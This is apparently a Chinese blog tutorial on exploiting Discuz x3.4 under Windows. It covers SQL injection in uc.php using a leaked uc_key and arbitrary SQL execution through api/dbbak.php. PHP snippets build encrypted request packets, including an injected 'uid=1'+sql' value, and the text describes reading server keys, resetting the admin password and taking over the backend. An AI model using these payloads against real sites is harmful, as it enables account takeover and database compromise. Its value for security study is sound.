文章导读
大家好,今天我们来聊聊Windows环境下,如何利用Discuz x3.4的漏洞进行攻击。本文将详细介绍两种攻击思路:SQL注入和任意SQL执行,帮助大家更好地了解Web安全。
uc.php-SQL注入
首先,我们来看uc.php的SQL注入漏洞。由于Discuz x3.4没有对单引号进行转译,我们可以利用泄漏的uc_key(dz)构造任意数据包,从而读取敏感信息。
$uc_key = "ybX4B6nfA8Ca83i1Uav5L98eQ4d8w931Z9PbS6E7x86e02ofM1PbI9B3kaLfSaj4";
$time = time() + 7200;
$encode = "time=".$time."&action=renameuser&newusername=123&uid=1'+sql";
var_dump(urlencode(authcode($encode,'ENCODE',$uc_key)));
通过这种方式,我们可以读取upload/uc_server/data/config.inc.php下的UC_KEY(server),并利用sid_decode()函数进行密码重置。
dbbak.php-任意SQL执行
接下来,我们来看dbbak.php的任意SQL执行漏洞。我们可以通过上传zip文件,然后在api/dbbak.php中利用authkey进行数据库导出和导入,从而执行任意SQL语句。
function encode_arr2($get, $uckey) {
$tmp = '';
foreach($get as $key => $val) {
$tmp .= '&'.$key.'='.$val;
}
return _authcode($tmp, 'ENCODE', $uckey);
}
$UC_KEY = 'x9L1efE1ff17a4O7i158xcSbUfo1U2V7Lebef3g974YdG4w0E2LfI4s5R1p2t4m5';
$get = array('method' => 'export','time' => time(),'sqlpath' => '/backup_2020xx/','tableid' => '100','startfrom' => '1');
var_dump(encode_arr2($get,$UC_KEY));
通过这种方式,我们可以修改admin密码,从而获取后台权限。
小结与拓展
以上就是Windows下Discuz x3.4的攻击思路。需要注意的是,这些漏洞已经被修复,大家在生产环境中要确保系统安全。
我是陈景序,来自websoft网络软件专家(www.phpwebsoft.com)。如果你对Web安全有任何疑问,欢迎关注我们的网站,了解更多内容。
